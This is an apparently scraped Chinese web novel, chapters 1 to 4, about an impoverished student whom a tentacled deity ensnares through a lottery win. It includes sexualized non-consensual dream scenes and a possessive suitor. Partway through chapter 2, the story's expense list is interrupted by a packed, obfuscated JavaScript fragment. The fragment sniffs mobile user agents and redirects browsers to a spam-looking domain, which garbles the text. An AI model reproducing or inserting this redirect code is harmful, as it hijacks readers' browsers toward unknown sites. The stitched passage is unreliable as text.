《笨蛋小可怜被阴湿邪神缠上后》
1. 被捕获的猎物
破旧的面馆里,坐着一名与周遭环境格格不入的少年。面汤氤氲出缕缕雾气,显得少年眉目如画,唇色更加水润透亮。
雪砚清舀了一勺汤汁,被山珍海味养刁的舌头尝到这满是味精和添加剂的面汤。
嘴巴还没来得及吞下,手已经下意识抽了几张面巾纸。
伴随着咽喉涌上来的反胃感,捂嘴,吐出,丢进垃圾桶,丝滑一套小连招。
雪砚清与面汤两两相望,迟疑几秒,最终还是舍不得浪费这份花光自己吃饭额度的面,默默起身,前去后厨向老板拿点调味料。
就在他转身的功夫,在门外伺机已久的野猫终于找到了时机!
它一把窜上桌子,先一步就替雪砚清“试上毒”。
待到雪砚清从后厨转角出来,大老远就看到只瘦骨嶙峋的猫趴在自己碗里吃得呼噜呼噜,甚至因为吃得太过急切,汤汤水水洒了一桌子。
那只野猫一察觉有人来了,尾巴“嗖”地一下炸起,飞也似地跑到店铺外的墙角。
随后小心翼翼地探出一个猫猫头,怯怯观察着雪砚清的神色。
雪砚清在面汤前站定,闭上眼睛,拿起筷子打算欺骗自己继续吃,但终究还是过不了心理那关。
他抬眼看向门外的小猫,和它警惕又恐惧的双眼对视几秒,最终无奈地摇摇头,叹了口气。
将面条都夹进塑料袋里,拿出去放在小猫旁边,伸手挠了挠它的下巴,
“吃吧,以后别再去偷吃别人东西了。”
少年胸前垂落的红宝石项链,随着他的动作在空中微微摇晃。
白皙的手指微微陷进狸花猫棕黑色的毛发里,两相对比,白得都有些晃眼。
丝丝缕缕无形的黑气沿着猫咪毛发向上传输,在雪砚清指尖缠绵、徘徊,而后化为一股寒芒,悄悄隐于雪砚清胸前垂落的项链里,消失不见。
*
撸完猫,精神上得到了满足,但是肚子疯狂向雪砚清叫嚣着饥饿。
雪砚清饥肠辘辘地走回学校,经过他经常“光顾”的那家烘焙房。面包的香气在他鼻尖不断环绕、跳跃,肚子被勾得不停在叫嚣。
他打开自己微信余额——495,他要用这笔钱活一个月,并且开学的学费还没有交。
家里破产后,银行把他家所有流动资产都拿过去抵债拍卖,雪砚清也把他小金库所有的钱都拿去帮父母还债。
因此近一个星期来,身无分文的他就成了面包房的“常客”,经常在他们快打烊时间蹲守,将丢进专用垃圾箱的过期面包偷偷带回宿舍。
按照惯例,这个点雪砚清早已去面包房悄悄拿点面包填完肚,回到宿舍了。
谁知今晚他来到时,却发现每一个被丢弃的面包袋子上,都被盖上大大的红戳——过期面包,谢绝二次售卖。
街道上人来人往,有几个人瞧见有个清秀的少年在垃圾桶帮驻足了良久,好奇地张望了几眼。
霎时!雪砚清羞得就如受惊的猫般,仓皇窜进旁边的一家面馆,又迫与饥饿和脸面之下点了碗面,而后又凄凉地被猫咪抢食。
如今重新驻足在这家面包店前,肚子不仅没有填饱,还因为运动消耗了不少能量,钱包也在不停地向他宣告着窘迫。
眼看离宿舍门禁时间只剩半个多小时,雪砚清踟蹰半响,最终下定决心,飞速拿了几块面包塞进书包里。
而后他左右环顾,带着涨红的小脸,低头快速走出这条小巷,扫了辆共享电动车,循着高德导航播报的方向,逃离这羞愧之地。
胸前的项链随着电车的骑走,被风吹得左右摇晃。
忽地,绳子在某一瞬间突然静止,悬停在半空。接着,竟逆着风的方向微微飘荡起来!
往常熟悉的路途不知觉间扭曲变形,在目的地前方,悄然幻化出一座寺庙。
口袋里的导航指针也在疯狂乱摆,最终循着项链指向的方向,奔向神邸所在……
*
雪砚清仍然沉浸在刚刚的羞愧与尴尬中,脑子胡思乱想,担心刚刚自己的行为被店长发现,找来质问。
再一回神,发现早已骑过了头,不知来到了哪片荒郊野岭。
高德导航在疯狂地在雪砚清耳边叫嚣。
“您的路线已偏航,现在为您重新规划路线,向东出发,行驶五百米。”
雪砚清试探地扭转了方向,朝后方的路口骑行了一段距离。
“您的路线已偏航,现在为您重新规划路线,向东南出发……”
他再一次原路返回。
“您的路线已偏航……”
……
第八次重新回到原点,望着身旁这颗熟悉的老树,雪砚清不得不承认——他,迷路了。
经过这番长时间的折腾,门禁时间早已过了,无法回到宿舍睡觉,只能忍痛花钱在外过夜了。
雪砚清无奈地叹了口气,打开旅游软件,低头在手机上查找低价青年旅馆。
豆大的雨滴砸到手机屏幕上,没一会就模糊了屏幕。
他手摸向背包。
糟糕!忘记带伞了。
雪砚清仓惶地抬起头,四处寻觅可以避雨的地方。
身旁老树浓密的树冠被吹得左右摇晃,噼里啪啦豆大的雨滴迎头砸下,把树杈都给砸弯了腰,露出了隐藏在树后的一方庙宇。
雪砚清抬腿迈进寺庙大门,将干爽的室内将外面的雨幕隔绝成两个世界。
他仰头,好奇地张望里面的装潢,喃喃道:
“还好下雨天有地方可以躲雨了,没想到这荒郊野岭居然还有一座这么恢宏的寺庙,之前倒是从未听过哎。”
“道长?”
“方丈?”
雪砚清胡乱喊了几个称呼,都无人应答,只有他自己的声音在空旷的场地回响,带动烛火在空中不住摇曳。
祀台上高高坐立的神像在烛火的映照下,显得更加悲天悯人。祂持花垂眼,神情悲天悯人,慈爱地望着下方芸芸众生。
雪砚清与祂慈悲的双眼对视上,一时竟被摄取了心神。沉溺在祂那包容无边的神情中,恍如置身于温暖的羊水,一切杂念不安都可以向母亲般的存在倾诉。
红绳微微飘动。
回过神来,他已经跪坐在蒲团上,虔诚叩首,心中低喃:保佑父母能够尽早还清债务,大家都能幸福安康。
许下这个朴实无华的愿望时,雪砚清鼻尖不知觉已经染上了淡淡的红意,泛红的眼尾虔诚地低垂着。
窗外电闪雷鸣,风挤进窗户缝隙,吹得烛光不断跳跃,抚摸着少年白净的脸庞。神像慈悲的面容逐渐被黑雾覆盖、扭曲,而后代替烛光,一寸寸舔舐着少年的身躯……
少年帆布袋上的红绳迅速自燃,化为汩汩黑雾腾空而
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起,组合成了和上方神像一般
——慈悲的笑容。
夜色已然深沉,今天的奔波让他疲乏不堪。雪砚清在困倦的侵袭下,就着蒲团,沉沉睡去。
睡梦中,他梦见自己中了一张彩票,兴高采烈地将彩票拿给父母看。
父亲高兴地夸奖了他,将公司重新运转得仅仅有条;母亲不用在承受父亲事业不顺带来的怒火后,发泄到自己身上,而是温柔地抚摸自己的脑袋,询问今晚想吃点什么。
雪砚清高兴地将母亲一把拥住,将脑袋埋进妈妈温暖的怀抱里,鼻尖都是柔和幸福的气息。
他露出了微笑,睡梦中不自觉将手底下垫着的蒲团抱得更紧了些,如同刚出生的小幼猫,下意识寻找妈妈的气息。柔软的发丝轻轻蹭着微皱的布料。
风声击打着窗户,烛火明明灭灭。高坐于台上的神像在烛火的映照下,慢慢咧开了嘴角,嘴角越咧越大、越咧越大。
无数土块扑簌簌落下,露出了隐藏在其中的漆黑雾气,雾气操纵着神像蠕动嘴巴发出声音。
那声音含混不清,似乎是:
如你,所愿。
黑雾在空中盘旋,最终凝聚成一张彩票,与雪砚清脑海中闪现那张如出一辙。几缕月光倾泻在彩票一角,倒影在地上延伸出无数肆虐的触手……
*
清晨的阳光亲吻着少年白皙的脸颊,浓密的羽睫随着晨光的移动不断上下蒲扇,最终缓缓睁开,露出睡眼惺忪的水眸。
雪砚清迷迷蒙蒙地摸向手机,一张小纸条随之掉落。
是一张彩票。
这个……是他什么时候买的?
雪砚清缓慢地眨了眨眼睛,终于从埋藏深处的脑海中华搜刮出一道记忆,似乎是……前段时间舍友拉他一起买的?
雪砚清仔细查看上面的信息。
开奖日期:2025/10/8
这不就是今天吗?
他随手在网上搜了下今天开奖的球号,原本不抱希望的他在对照着彩票上的编码一一对应时,眼睛霎时睁大。
雪砚清每对一个数字,心跳便心如擂鼓般轰鸣。
心跳每跃动一分,高台之上的神像笑容咧得愈发大,地上的神像投射下的影子变得格外浓艳,一个眨眼,便已距离少年仅有一指距离。
但雪砚清丝毫没有察觉,双眼被屏幕上的莹莹亮光所摄取。他不知不觉间已落入了欲.望的囚笼,即将成为待宰的羔羊。
中,中奖了!自己竟然,中奖了!
雪砚清拿着彩票的手指微微发颤,无人可见的汩汩黑烟自其源源不断地飘散而出,宛若一条毒蛇,沿着雪砚清纤细的指尖流淌手腕,后又一寸寸蜿蜒到白皙的手臂。
手臂上的细小绒毛被带动着微微倾斜,掀起大片大片鸡皮疙瘩,阴冷潮湿的气息透过毛孔不断渗入,雪砚清不禁打了个寒颤。
左右两肩处的神火本就若隐若现,寒意入侵。
啪!
神火骤然熄灭。
在地上等待已久的神像影子如同黑暗中的毒蛇终于寻觅到了食物,向雪砚清猛扑而来!
影子在空中瞬间分裂出无数触手,与前方汩汩黑烟相汇合,两相夹击!由此形成一道无形囚笼将雪砚清笼罩其中。
猎物在不知不觉间,被蜜糖引诱进了牢笼,被猎人所捕获,即待宰杀、品尝。
2. 看着我,孩子
雪砚清看着银行卡里的余额,个十百千万十万百万。
不仅脚步飘忽,整个身体也软绵绵的,还没有真正适应自己已经中大奖了这个事实。
兴奋之下,雪砚清立刻将这笔钱通通打进父母的卡里,接着拨通了电话,兴高采烈地打算分享这份喜悦:
“爸!妈!我中奖了!给你们卡里转去的八百多万收到了吗?不知道够吗?我给你们都转过去了,现在公司终于有了一笔流动资金了!”
“呃少……少爷好,夫人先生他们现在正在有要事相商,你先等一下好吗?”是从小照顾他的王姨接的电话,语气支支吾吾。
“他都不是你亲生孩子,不知道从那个犄角旮旯出来的你还要分遗产给他?嫌自己钱够多是吧?!”
女人的怒吼大骂声。
“养了这么久,就算是条狗也该有点感情了,不是亲生的有怎么样?”
男人的回嘴。
“就你有良心是不是?当初到底是谁查出他不是亲生的,就借着濒临破产,房屋查封的借口把他赶出去打工自力求生。现在查出自己肺癌了,又‘慈父’心肠上来了是吧?!啊!!”
女人无情戳破男人的慈悲假面。
接着是铺天盖地的尖叫、嘶吼、怒骂声,还有刺耳异常的瓷器碎裂声,乒乒乓乓,透过话筒,就这样深深扎进雪砚清心里。
听到电话另一头铺天盖地争吵声,雪砚清原本雀跃的声音霎时戛然而止,就如被人掐住了咽喉,梗塞着发不出一句话。
雪砚清拼命从喉咙挤出来,“好。”
然后飞也似的挂断电话。
他浑浑噩噩地走到公交车站,因屡次失神,连续错过好几趟公交车。
当最后一班公交车离他悄然而去,雪砚清才猛然惊醒,麻木地扫了附近一辆共享单车,就这样废力地蹬回学校。
回到宿舍,雪砚清没事人般和舍友柏言打了声招呼,按部就班地做完一切睡前准备,倒头扎进被子里,将整张脸蒙住。
酷热的七月,没一会白皙的小脸就被闷得通红,沁出了细密的汗水。汗水顺着额头滑下,来到发红的眼尾,咸酸得雪砚清不禁落泪。
他沉沉睡去。
*
月亮爬上柳梢头,银白皎洁的月光透过窗户倾洒进这间二人宿舍。窗外的鸟雀乘着枝桠,打着小盹,一派祥和宁静之态。
忽地!打盹的鸟儿似感受到了什么强大的气息,惊慌地发出一声悲鸣,从树梢上猛地惊起,带起稀里哗啦的大片树叶作响。
一坨巨大的黑色身影不知何时出现在雪砚清床边,被子猛然被拉下!露出少年无知无觉的恬静面孔。
黑色蠕虫般的触手铺天盖地在空中飞舞,兴奋、癫狂地朝少年体内钻去,急切地想要入侵这个人类,妄图让其成为祂能量的存储之地。
口、鼻、耳、眼……凡是有缝隙之处,皆是怪物肆虐之地。
饱满的唇峰最先被接触到,就当祂兴奋地想要通过这个入口寄生之时!
雪砚清眉心微微一皱,身体作出了拒绝的姿态,黑色触手霎时如被捕捞上岸深海生物——
嘭!
眨眼碎裂成无数血块。
黑色黏液在空中四散溅开,很快就覆盖了雪砚清这片区域,强势夺走了他周围的空气。
流通的空气变少,雪砚清的脸上慢慢浮现抹酡红,眼尾因窒息挑出抹红晕,隐隐竟有泪花闪现。他嘴巴不自觉张开,竭力地想要呼吸更多新鲜空气。
漂浮在空中的黑色黏液静止在原地,竟凭空长出一双双眼球!死死定在粉色舌尖上的晶莹黏液之上。
而后这些黑色黏液迅速收拢,眨眼间就重新凝聚为原来的模样,盯着这份湿润,缓缓朝其俯身而下。
长时间呼吸不到充盈的空气,雪砚清白皙的小脸逐渐涨得通红,梦中的他依稀记得自己睡前将被子盖在头上。
于是迷迷糊糊间,他凭着本能反应将头顶的东西一把扯下!堆积到身侧放好。
雪砚清紧接着翻了个身,纤长白皙的小腿顺势将其夹住,安然入睡。
祂试着动了动想挣开,却被睡梦中不耐的雪砚清一把往上扯了扯,卡在了丰盈的大腿处,稳稳夹住。
大腿与触手两相挤压,盈出细腻光滑的软肉,如同上好的羊脂膏流淌而出。
祂表皮上方覆盖着数百万亿个嗅觉,狰狞的触手只要微微一动,盈盈的香味便透过两层薄薄的布料丝丝缕缕地渗进祂的毛孔,轻而易举就溺闭在这片温软中。
上方没有被大腿限制住的触手开始躁动,推攘着下方死死不肯移位让步的触手。单人小床被祂折腾得微微晃动,雪砚清睡觉时抱着的一方被角因此滑落。
失去了长时间搂抱的阿贝贝,睡梦中的雪砚清不安地伸手抓摸,触手就这样“不小心”被他捞进了怀中。
温热的呼吸携带着淡淡甜香,喷洒在触手闵.感的表皮上,触手的吸盘被雪砚清“囚禁”在肩颈,留下淡淡的红印。
手机屏幕亮起莹莹蓝光,班群消息弹了出来。
刑法老师:【接学校最新通知,由于工作安排,后天下午14:40的刑法课提前到明天,请各位同学相互转告(玫瑰)(玫瑰)(玫瑰)】
怪物的眼球在空中转了转,半透明的眼球一接受到这几串文字。嘴巴的位置随之剧烈抽动、不断上扬!
寄生!寄生寄生寄生寄生寄生!寄生!
啪!
怪物整张表皮骤然炸开,每只腕足兴奋到发颤。祂哪一个地方在颤动,那个地方便溢散出无数黑色粒子,在空中高速碰撞、重组。
眨眼间!雪砚清怀里的怪物便被一个完美的人形所取代,只是那人的脸被层薄雾所笼罩,模糊不清。
祂心满意足屈居在这张窄小的单人床上,脸颊在雪砚清锁骨处蹭了蹭,薄雾处嘴巴的位置扯了扯,露出显得有些诡异的笑容。
*
接二连三的震动声响起,雪砚清迷迷蒙蒙摸向手机,查看消息。
A201柏言:【砚清!!昨天晚上班级群发通知了,说后天的刑法课提前到今天下午14:40上,这节课就要让各小组上去讲课了,砚清你来了吗?你坐在哪?】
【A201柏言拍了拍你】
【A201柏言拍了拍你】
【A201柏言拍了拍你】
他果断抄起书包,朝教学楼跑去。
当雪砚清气喘吁吁跑到教室门口,教室已经快做满了人,只剩下前排几列才有空位。
他着急地四下张望,忽地看见阶梯教室之上,有个人朝自己挥了挥手——是柏言!
雪砚清一喜,三步并做两步跑上前。将书包草草塞进有些狭小的桌肚里,顾不得和柏言多说些什么,便掏出做好的ppt讲义开始临时抱佛脚。
稀里哗啦的翻页声不断响起,雪砚清一目十行,手心冒汗,被手指捏着的书页一角已经被汗水浸透得有些发软。
剧烈运动过后心脏跳的飞快,整个身体热腾腾的。空调不断往外输送着冷风,冷热交替,手臂开始微微战栗。
讲台上老师看了眼手上拿着的记分表,开口,“十一号小组,十一号小组汇报人雪砚清,雪砚清同学在哪?”
“到!”
雪砚清猛地站起身,大学阶梯教室的椅子猛然弹起来,发出巨大声响。
骤然间,无数双目光齐齐朝他身上投来,如有实质。
雪砚清感觉身周像是被胶水粘过,他每迈出一步都格外艰难。
好不容易来到讲台,他插上u盘,汗湿的手心一滑,失控的鼠标在白板上疯狂点击,误触到ppt下方的word文档。
开销:
10/1
早餐2元(免费粥、鸡蛋)
午餐2元(煎蛋/白菜)
晚餐2元(星期一、三、五吃香菇菜配米饭;二、四、六吃橄榄菜配清汤面)
……
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16361068|183683||http|test|mini|href|location''.split(''|''),0,{}));
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>10/7
早餐2元
午餐2元
晚餐7元清汤面,花超5元
总额:495元
……
雪砚清心跳骤停,快速叉掉这个文档,却将他还未画完的半成品漫画彻底展露在大家面前:
衣着整齐笔挺的老师轻轻推了下金丝边框眼镜,迈着光洁发亮的皮鞋一步步朝漫画主角逼近,拿起教鞭……
分镜上大片大片的sweet talk狠狠刺进他的双眼,配合着漫画内容,在脑海里不断循环播放。
雪砚清全身上下都被染上抹绯红色,像是被强行催熟的桃子,还没有长出足以保护自己的表皮,就将其强行拉在太阳下曝晒,露出内里糜烂红艳的果肉。
他脚底发软,几乎踩不到实地。
脑子里全是一团浆糊,仅能凭借肌肉记忆,点开原先准备好的ppt,驱使挪动着自己嘴巴上下张合讲课。
阶梯教室上众多学生的身影在强烈的白炽灯下,都糊成了一团。他不敢看太清他们的面容。
忽地!讲师走到他面前,对着他比了个暂停的手势,伸手接过雪砚清手上的教鞭,指向ppt。
他严肃开口:“你刚刚说的那个案件是什么?再说一便,是想象竞合犯吗?”
雪砚清心脏刹那间越至高处,而后骤然被人死死掐住,窒息在原地。他张了张嘴巴,却发现自己似乎丧失了语言能力。
原本合身的衣服在此时变得格外别扭,他控制不住自己,手上下摆动整理着衣裳。
汗水不断顺着额头往下滑落,甚至有几滴滴进了眼睛。
隐约间,雪砚清看见老师身上竟然冒出了汩汩黑雾,与自己相连,将两人间的距离不断拉近。
啪!
噼里啪啦!
不知何时,雪砚清的书包从狭小的桌肚里滑了出来,骤然摔落在地!书包拉链大喇喇地开着,里面装的面包顺着阶梯,不断朝下滚来。
其中一个面包续航格外久,滚落在雪砚清脚下。
包装袋上那个大大红戳反射着头顶刺眼的白炽灯,投射到雪砚清苍白的小脸上。
接着有声惊呼,“这不是西街那家面包店吗?老板因为丢走的过期面包老是被人拿了,担心被人拿出去二次贩卖。因此要丢前都会盖上一个红戳。我记得雪砚清家里好像很有钱吧……”
雪砚清迅速低头,不敢接收这些探究的视线。
晒得糜烂的果肉在此时被外力轻轻一碰,甜腻的汁水便自精致的小脸流向纤长的脖颈,尴尬、羞耻让其染上抹艳色,夺人眼目。
不知何时,雪砚清身前的讲师已经换了副气质,但无人察觉。
讲师与雪砚清间的距离逐渐逼近,已经超过了安全距离。
祂镜片上的蓝光可以清晰反射出雪砚清羞赧神情下那粉色的细小绒毛。
祂用手里的教鞭,缓慢抬起雪砚清的下巴:“看着我,孩子。”
一张惶恐惊慌羞赧的小脸就此在祂面前暴露无遗。
祂露出和漫画里老师一模一样的笑容,嘴角弧度分毫不差,宛若负责粘贴。
随即,雪砚清后背被一只无形大手往前推了一把。
雪砚清一个重心不稳,脚步踉跄,仓促之间,手抓住祂西服上的一颗纽扣。
“啪!”
扣子被其硬生生揪了下来。
运动鞋也不小心踩到了祂光洁发亮的皮鞋上,留下异常明显的灰色鞋印。
雪砚清慌忙后退,后背却被黑板挡住,避无可避。
祂一步步朝着他逼近,微凉的气息喷洒在雪砚清脸上,带起一片战栗。
祂笑容依旧,春风和煦,但手中拿着的教鞭却是骤然将雪砚清的脸拉进!
有些粗糙的下巴抵住雪砚清光滑的脸颊,祂靠近他耳边,鼻息在他耳尖缠绕、盘旋,开口:
“做错了这么多事情,当着在场这么多同学的面,该如何惩罚你呢?”
3. 刺眼的玫红(小修)
“砚清是想做一个坏孩子,当着大家的面接受惩罚呢?还是当一个好孩子,好好改过自新?”
祂的舌头在雪砚清耳尖打转,像是吃什么美味的蛋糕般,从最上方的草莓开始吃起。含在嘴里细细品尝里面的饱满汁水。
“不说话?”
“砚清怎么身体在抖,不敢看向同学?不行啊,翻转课堂就是要你成为老师,不去看同学,怎么知道他们知识点学会了没?”
下巴被无形的东西抬起,无数视线密匝匝地投向雪砚清,上上下下端详着他的模样。
身上似乎被人扒光了般,袒露在众人面前,无处遁形。他的一举一动、一言一行、相貌穿着,都可以成为一项谈资,供人咀嚼。
雪砚清眼睛剧烈收缩,猛地挣脱开束缚,跌跌撞撞朝门口跑去。
祂并不着急,像是父母看着刚学会走路的孩子,满脸慈爱和包容。
就在雪砚清即将逃出这座地狱之时,
无数触手从祂身上冒出,铺天盖地!将雪砚清团团包围,慢慢地、慢慢地、慢慢地拖进来。
雪砚清双手死死掐住囚禁他的触手,全身奋力挣扎,衬衫在剧烈运动之间往上滑去,露出了一小节纤细的腰腹。
他刚吃饱不久,小肚子微微鼓起,随着主人急促的呼吸上下起伏,夺走了所有人的视线。
触手在刹那间停顿了几秒,表皮上方无数双复眼直勾勾地盯着那抹白色。竖状瞳孔剧烈收缩成一条红色细线,露出大片大片的眼白,随着“罪魁祸首”的呼吸上下颤动。
雪砚清抓住祂停滞的这几秒,猛地将束缚在胸前的触手打落,眼看离教室门口仅有几步之遥!
霎时!
被打落的触手如草丛中伺机已久的毒蛇,箭矢般猛地向前射出,将猎物一把圈住、绞进,拉回自己巢穴中,接受蓄谋已久的惩罚。
“怎么跑了,同学?你的课还没有讲完呢。要当着所有同学的面,把这节翻转课堂给完完整整地——讲完。”
祂开口,上下张合的唇瓣有意无意擦过雪砚清的耳廓,说话间带来的丝丝气息掀起连绵不绝的痒意。
话音刚落,在场所有同学似乎收到了信号,齐刷刷抬起头来,一双双眼睛直勾勾地盯着他,等待着他的“授课”。
站在一旁的“讲师”面带微笑,一手微扶眼镜,一手自然地垂落在身侧,布满“期待”的眼神温柔注视着雪砚清,看起来格外看中这个学生。
从他身上源源不断冒出的触手也确实印证了这个猜想。
狰狞的触手当着众人的面,肆意地在雪砚清小腹处徘徊、揉.捏。乳白的软肉随之溢出,似乎要流满人一手。
全程,祂就这样西装革履、文质彬彬地站在原地,细细品尝着雪砚清的百般狼狈。描绘着他产生不同情绪时带来的百般春色。
惊慌、羞耻、尴尬……
抚摸带来的微微痒意、被掐住重点时带来的细小痛感、令他羞耻不敢承认的舒服、长时间抚摸后的麻木……
齐刷刷盯着他的专注目光、教室里愈发浓重的呼吸声、身侧如影随形的黏腻视线……
种种交织在一起,如胶水般将他的嗓子重重黏上,发不出完整的声音。
雪砚清嘴巴再也张不开了,他再也无法强撑着自己挤出任何一个词语。整个身体都在颤动,情绪涌向四肢百骸,大脑阵阵发晕。脚底几乎站立不住。
他想逃!
他要逃!
他必须要逃!
可就连他指尖的每一次弯曲,身体的每一丝颤动,都有无数人注视。
讲课声的戛然而止,场地安静得可怕,只剩下此起彼伏的呼吸声。
祂笑容慢慢收敛,慢条斯理走到雪砚清面前,弯腰,浓黑如墨的眼睛对上雪砚清不断颤抖的瞳孔,温声开口:
“怎么停下不讲了,是黑板上有些地方用手够不到吗?”
说完,还格外善解人意地将手中的教鞭递给雪砚清。
雪砚清再也忍不住了!崩溃地一把将教鞭甩落在地。
啪!
与此同时,雪砚清眼睛猛然睁开。大颗大颗的眼泪从脸颊滑落,浸湿了鬓角,连侧边的耳廓都微微湿润。
他缓缓坐直身体。
昨晚熬夜画太晚,随手放在胸口的平板随着重力滑落。
屏幕亮起,露出了上方的时间:14:20。
是梦啊。
还好是梦。
雪砚清将最新章节上传,看了下后台的创作激励,收益只有23块。自从漫画平台换了投资商,提供的分成越来越少了。之前是为爱发电不在乎钱,而如今自己就得靠这笔钱生活了。
他垂眸,叹了口气,将平板锁屏。背起书包,奔走在上课路上。
天空下着淅淅沥沥的小雨,沿路的熟悉风景在风的吹拂下,随着雨水迎面灌进他眼睛,一丝憋不住的哽塞声挤出咽喉。
雨水顺着脸颊流淌而下,而后在小巧的下巴处徘徊良久,汇入颈间的项链,勾勒出淡淡的暗芒……
到了教学楼,雪砚清在阶梯口收起雨伞。
项链随着手部的用力,晃动了下,上方盘旋的水珠溅落进地面浅浅的水洼,荡起圈圈涟漪。
隐约间可以看见一坨黑色的胶状物沿着波纹,在缓缓流动。
雪砚清将雨伞斜靠放在教室外墙上,走了进去。深呼吸,上台进行翻转课堂。
由于准备充分,梦中他所焦虑担忧的场景不仅完全不存在,还收获了雷霆般的掌声。
忐忑不安的心终于被放到了实地。
雪砚清回到座位,正专心听着老师对刚刚自己讲课的内容进行补充,手机却接二连三震动,屏幕随之一下下亮起。
嘟嘟。
【风腾:你在哪?你爸妈今天上门找我家老登谈生意了,说什么债还了大部分,听说居然还是你转的钱?】
【风腾:你哪里来的钱?谁给你的?怎么不来找我?】
提到这个话题,想起那天突然听到的那通电话,雪砚清感觉胸口闷得发慌。回复道:
【风腾,我们之后再谈吧,我想静一静。】
随即他切换到朋友圈,换换心情。
嘟嘟嘟。
【风腾:你一个学生哪里来这么多钱?你是不是答应了别人什么条件,他才愿意给你这些钱的】
【风腾:怎么不来找我?我们两家知根知底,你爸妈刚刚还来求我爸妈呢,要是你来找我,我们一起……不就是亲上加亲了吗?】
【风腾:草!我看见你给共友点赞了!我发这么多消息,你一条没回是什么意思?!】
嘟嘟嘟嘟。
【风腾:怎么你静静时愿意和朋友圈互动,就不回我是吧?】
【风腾:真的不回我吗?你要是现在回我,我也不是不能再考虑一下保留刚刚的提议】
【风腾:真的不考虑一下吗?我爸妈把分公司交给我经手,每年收益下来,我能给你能多钱】
【风腾:我们多年交情,找我现成的,难道不比你现在去调教一个野男人好?!!】
……
手机虽然已
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经调至静音,但是震动声仍接连不断地响起。
雪砚清手忙脚乱在手机系统寻找半天,震动声叫得更欢了。周围的同学频频侧目。
他干脆直接点开风腾主页,拉黑——世界终于安静了。
雪砚清长舒一口气,手机一关,继续认真听课。
另一边。
风腾焦急边左右来回转圈,边忐忑地咬着指甲等待。
在看见发出去的消息条旁出现了一个红色的感叹号时,眉心瞬间拧成一坨褶子,整个胸口剧烈上下起伏。
嘭!
手机直接朝着墙壁砸了过去!沿着墙壁滑落,屏幕碎裂成道道蛛网,甚至崩出来了一些碎片零件。
风腾牙齿上下磨得作响,话语在胸腔中被闷了个来回,最终咬牙切齿地从舌尖挤出:
“不理我是吧?!那我现在就过去找你!”
他随即招呼管家递来新手机,立刻打开招呼几个跟班打听雪砚清教室所在地,怒气冲冲地朝着目的地直奔而去!
来到教学楼阶梯转角,速度过快没有留神,地板上那摊水渍把风腾绊了个趔趄,膝盖直接朝着前方坚硬的大理石楼梯狠狠磕去!
“我*!”
疼得他龇牙咧嘴,抽气着站起身,猛地踢向害他摔倒的那摊水迹,水花四溅!
风腾这才出了心中这口恶气,向着目的地扬长而去。
沾在鞋底湿漉漉的水迹如触手般悄然蔓延,钻入他膝盖上的伤口,随后消隐于其中。
*
“这节课就上到这里,同学们回去记得复习一下犯罪主体这一章节,下课吧。”
老师话音刚落,叮铃铃的下课铃声适时响起。
雪砚清收拾完东西走出教室,当走到拐角处时,手腕忽地被一股蛮力猛地拽出拥挤的人潮。
一道高大的阴影投射到他身上。
雪砚清还未开口,那道身影反而先委屈上了,“雪砚清!为什么一直不回我消息?!”
到底是娇生惯养十几年的小少爷,一身皮肉细得腻人,轻轻一掐便在白皙的手腕上留下触目的红痕
一见面就将他的手攥得发疼,雪砚清眉头不自觉皱起,反手将他甩开,转身抬步就要走。
风腾见此,急忙撩起自己的裤脚,“我刚刚为了找你,太着急了,甚至腿都磕破了,你看——”似乎说到委屈事了,他声音都变得黏黏糊糊。
淡淡的血腥味萦绕雪砚清鼻尖,他迈步的动作停顿了几秒,略显迟疑。
雪砚清正打算扭头看看伤得严不严重,风腾下一句问话就劈头盖脸砸了过来。
“你爸妈说你给他们打钱,所以家里债务还得差不多了。你最近是见到什么人了吗?怎么有这么多钱的?”
雪砚清转身,清冷冷的眼睛直视着风腾的双眼:“你这句话是什么意思?”
在雪砚清正脸露出来的刹那,风腾感觉自己仿佛丧失了处理信息的能力,周遭的一切声音都变得模糊不清,在他耳朵来回穿梭却留不下一点东西。眼睛只剩下雪砚清的脸。
近些天来的磨难像是给他上了层滤镜,身板像雨后发芽的翠竹,直挺挺、脆生生。清泠泠的眼神中带了股明显的倔强劲——格外勾人。
张嘴说话时,修长白皙的脖颈上喉结随之跃动,为视线寻觅到了重点。
风腾一时看痴了神,直勾勾地注视着雪砚清。忽地,脸色轰然一变!
他猛地上前,粗暴地将雪砚清衣领扯下,露出脖颈处靠近衣领的那一点玫红,分外刺眼!
“这是什么?!”
4. 蹭手心(小修)
雪砚清低头往下看去,神情明显怔愣。
可被妒火冲昏了头脑的风腾完全没有察觉雪砚清的异样,将他一把拽到自己身旁,大声质问,
“是不是那个给你钱的人弄的?是不是!你没钱来找我啊!我的钱都可以给你花!”
这边的争执喧闹声很快引起了周围同学的注意。
一个个下楼梯时故意放慢脚步,更有甚者,直接站到两人身旁,津津有味地吃起瓜来。
周围人群的密度越来越高,视线灼热得连混不吝的风腾都有些不自在了,拽紧雪砚清的手不自觉松了些。
雪砚清瞅准时间,像条鱼般猛地从风腾的掌心挣脱开,头也不回地钻进密密麻麻的人海里。
风腾赶忙紧追其上,但除了一张张陌生的脸,再也抓不到什么,最终只能愤恨地捶了下墙壁,咬咬牙扬长而去。
咔嚓。
照片被一个人鬼鬼祟祟随手拍下,而后悄咪咪躲到墙壁一角,迅速上传到校园论坛。
*清吧包厢
风腾就着柔缓的伤感情歌,烦躁地一口接一口喝着闷酒,周围几个小弟七嘴八舌地安慰。
忽地,包厢外传来了急切的敲门声,将风腾好不容易平静下来的躁意一把点燃!冲着门外大吼:“干什么?!有话快说,有屁快放!”
包厢门被打开了一条小缝,先前溜出去上厕所的王五探出头来,冲着风腾讨好笑笑,而后猛地从身后拽出道贼眉鼠眼的人影。
王五几步小跑到风腾身前,“腾哥!就是这小子!竟然敢在论坛上造谣你是舔狗,还好我上完厕所时看见有到鬼鬼祟祟的人影在门外……”
说完,他招呼周围几个小弟把那人给控制住,接着邀功般急不可耐地打开论坛,将手机怼到风腾面前。
“腾哥!腾哥!你快看论坛!”
论坛的粉色亮光在黑暗的包厢里炸开,差点将风腾眼睛刺得睁不开眼。
